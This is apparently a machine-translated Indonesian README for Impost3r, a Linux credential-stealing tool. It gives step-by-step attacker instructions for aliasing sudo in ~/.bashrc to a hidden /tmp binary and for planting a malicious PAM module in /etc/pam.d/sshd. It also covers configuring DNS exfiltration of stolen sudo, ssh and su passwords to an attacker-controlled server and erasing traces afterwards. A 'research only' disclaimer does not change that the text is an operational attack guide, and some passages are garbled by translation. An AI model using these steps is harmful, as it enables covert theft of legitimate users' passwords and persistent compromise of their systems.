Bahasa inggris
Impost3r adalah alat yang ditulis dalam bahasa C dan digunakan untuk mencuri berbagai kata sandi (ssh, su, sudo) di Linux.
Pengguna dapat menggunakan program ini untuk membuat lubang berair untuk mencuri kata sandi pengguna yang sah
Alat ini hanya untuk penelitian dan pengajaran keselamatan, dan pengguna memikul semua tanggung jawab hukum dan terkait akibat penggunaan alat ini! Penulis tidak memikul tanggung jawab hukum dan terkait apa pun!
Secara otomatis menghapus jejak perilaku
Transfer hasil melalui protokol DNS
Pengguna acuh tak acuh
gcc
Impost3r dapat digunakan untuk mencuri kata sandi termasuk layanan sudo, su, dan ssh. Ketiga layanan ini secara kasar dapat dibagi menjadi 2 kategori, sudo dan ssh/su.
Itu hanya memerlukan izin pengguna biasa. Itu tidak memerlukan root. Namun, itu hanya bisa mencuri kata sandi pengguna yang bersangkutan dan tidak bisa mencuri kata sandi pengguna lain.
Pertama, asumsikan penyerang mengontrol server dengan hak pengguna biasa.
Periksa apakah file .bash_profile
ada di direktori root pengguna. Jika .bash_profile
ada: periksa apakah .bashrc
dimuat secara aktif di file .bash_profile
. Jika dimuat secara aktif, lewati langkah ini dan dua pemeriksaan berikutnya dan lanjutkan dengan yang berikutnya operasi. Jika Jika tidak dimuat secara aktif, maka dua langkah pemeriksaan berikutnya dilewati, dan semua operasi untuk .bashrc
berikut ini diganti dengan operasi untuk .bash_profile
!!! .bash_profile
langkah pemeriksaan selanjutnya.
Periksa apakah file .bash_login
ada di direktori root pengguna. Jika .bash_login
ada: periksa apakah .bashrc
dimuat secara aktif di file .bash_login
. Jika dimuat secara aktif, lewati langkah ini dan pemeriksaan berikutnya dan lanjutkan dengan operasi berikutnya . Jika tidak, lewati langkah ini dan langkah berikutnya. Pemuatan aktif, lalu lewati pemeriksaan berikutnya, dan semua operasi untuk .bashrc
berikut ini diganti dengan operasi untuk .bash_login
!!! .bash_login
pemeriksaan berikutnya.
Periksa apakah file .profile
ada di direktori root pengguna. Jika file .profile
ada: Periksa apakah .bashrc
dimuat secara aktif di file .profile
(dimuat secara default). operasi selanjutnya. , jika tidak dimuat secara aktif, maka semua operasi untuk .bashrc
berikut ini diganti dengan operasi untuk .profile
!!! ;Jika .profile
tidak ada, pada prinsipnya Impost3r tidak akan dapat digunakan. Tentu saja, Anda juga dapat memutuskan apakah akan membuat file .bash_profile
atau .profile
tergantung pada situasinya, dan menulis kode pemuatan yang mirip dengan tersebut. mengikutinya untuk memuat .bashrc
if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
Salin salinan .bashrc
: cp ~/.bashrc /tmp/
pengguna, dan letakkan salinan ini di jalur khusus penyerang (dalam contoh ini, salinan tersebut ditempatkan di direktori /tmp/, dan penyerang dapat memodifikasinya)
Ubah .bashrc
(~/.bashrc) di direktori root pengguna dan tambahkan pernyataan berikut di baris terakhir (di mana "/tmp/.impost3r" harus konsisten dengan NAMA FILE di bawah):
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
Setelah penambahan selesai, simpan file dan jalankan source ~/.bashrc
Kemudian penyerang perlu memodifikasi kode sumber Impost3r /sudo/main.h
:
/* Custom setting */ # define FILENAME "/tmp/.impost3r" 设置Impost3r在目标服务器上的位置 # define BACKUP_ORI_FILENAME ".bashrc" 表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login # define BACKUP_ORI_PATH "/tmp/.bashrc" 表明攻击者所备份的源用户配置文件在目标服务器上的位置 # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 # define RESEND_INTERVAL 5 设置每一次发送密码的间隔 # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Setelah modifikasi selesai, simpan dan jalankan make
di direktori saat ini
Dapatkan file .impost3r
yang telah dikompilasi di direktori saat ini
Unggah (usahakan kompilasi di server target untuk mencegah kesalahan yang tidak terduga) file .impost3r
ke folder /tmp/
server target (hanya contoh, Anda dapat memodifikasinya sendiri, asalkan sama dengan definisi di server target kode sumber)
Penyerang memulai program server DNS di servernya sendiri dan menunggu pengguna yang sah menggunakan sudo
untuk mendapatkan kata sandi.
Jika kata sandi sudo dicuri, Impost3r akan secara otomatis menghapus jejak setelah berhasil, dan penyerang tidak perlu membuka dan membersihkannya secara manual.
Impost3r akan secara otomatis menentukan apakah kata sandi yang dimasukkan oleh pengguna adalah kata sandi yang benar. Ini tidak akan mengakhiri proses sampai pengguna memasukkan kata sandi yang benar dan menghapus jejaknya.
Silakan gunakan sudo -v
untuk menentukan apakah pengguna saat ini berada di grup sudoer
sebelum menggunakan Impost3r.
Mencuri kata sandi ssh/su berbeda dengan metode pencurian dan eksploitasi kata sandi sudo di atas. Ini memerlukan hak akses root dan dapat mencuri kata sandi pengguna apa pun.
Berikut ini contoh Ubuntu. Centos serupa. File yang digunakan dan cara memodifikasi file mungkin berbeda.
Pertama, asumsikan penyerang mengontrol server
Memperoleh izin root melalui operasi eskalasi hak istimewa (atau administrator cantik memulai layanan dengan izin root)
Pertama edit file kode sumber /ssh_su/main.h
dari Impost3r
/* Custom setting */ # define SSH_OR_BOTH 0 设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) # define RESEND_INTERVAL 5 设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Setelah modifikasi selesai, simpan dan jalankan make
di direktori saat ini
Dapatkan file kompilasi impost3r.so
Unggah impost3r.so
yang telah dikompilasi (coba kompilasi di server target untuk mencegah kesalahan yang tidak terduga) ke /lib/x86_64-linux-gnu/security
mesin target (mesin yang berbeda mungkin memiliki nama folder yang berbeda, silakan tempatkan sesuai dengan situasi) )
Masukkan /etc/pam.d
. Ada dua situasi saat ini. Jika mode yang dipilih hanya mencuri kata sandi ssh, maka Anda perlu menjalankan vi sshd
dan menambahkan pernyataan berikut di akhir file (seharusnya begitu dicatat di sini bahwa kecuali untuk Ubuntu, file lain yang berbasis pada sistem Linux ini mungkin sangat berbeda dari Ubuntu. Disarankan untuk membaca sendiri aturannya dan kemudian menambahkannya di lokasi yang sesuai)
auth optional impost3r.so account optional impost3r.so
Simpan dan keluar, restart service sshd restart
Jika Anda memilih untuk mencuri kata sandi ssh dan su secara bersamaan, Anda perlu menjalankan vi common-auth
, menambahkan pernyataan yang sama, menyimpan dan keluar, dan memulai ulang layanan sshd juga.
Penyerang memulai program server DNS di servernya sendiri dan menunggu pengguna yang sah menggunakan ssh
untuk masuk ke mesin target atau menggunakan su
untuk mengalihkan pengguna guna mendapatkan kata sandi.
Dalam kasus pencurian kata sandi ssh/su, Impost3r tidak dapat menghapus jejak karena alasan izin, dan penyerang harus menghapusnya sendiri.
Harap dicatat bahwa jika hanya kata sandi SSH yang disetel untuk dicuri, pada dasarnya dijamin penyerang akan menerima hasil pencurian 100%, tetapi jika keduanya disetel untuk mencuri pada saat yang sama, belum tentu ada jaminan bahwa kata sandi SSH akan dicuri. penyerang akan menerima hasil pencurian (hanya jika disetel Saat mengirim dns, menyetelnya untuk menyimpan secara lokal tidak akan terpengaruh)
Tidak disarankan untuk mencuri kata sandi su, dan karena kata sandi ssh pengguna sama dengan kata sandi su, jika Anda tidak dapat mencuri kata sandi su, jangan mencuri kata sandi ssh.
Kata sandi kosong tidak dicuri secara default. Silakan coba lihat apakah pengguna memiliki kata sandi kosong (periksa apakah ada PermitEmptyPasswords yes
di file konfigurasi sshd. Jika kosong berarti masih hantu.)
Saya menggunakan Fdns untuk program server Dns dan memodifikasi beberapa parameter. Anda dapat menemukan kode sumber yang dimodifikasi di folder Fdns. Silakan gunakan perintah gcc -o dns main.c util.c
untuk mengkompilasinya sendiri (perhatikan bahwa Anda harus memodifikasinya port mendengarkan pertama di main.c)
Sebelum mengkompilasi Fdns, harap periksa nilai YOUR_DOMAIN
di util.h
untuk memastikan bahwa nilai ini konsisten dengan nilai YOUR_DOMAIN
yang digunakan saat mengkompilasi program Impost3r yang ditanamkan di server, jika tidak maka pencurian dapat gagal.
Program ini hanya dikembangkan dan dipelajari di waktu luang Anda. Mungkin ada bug dalam fungsinya.
F
libbaseencode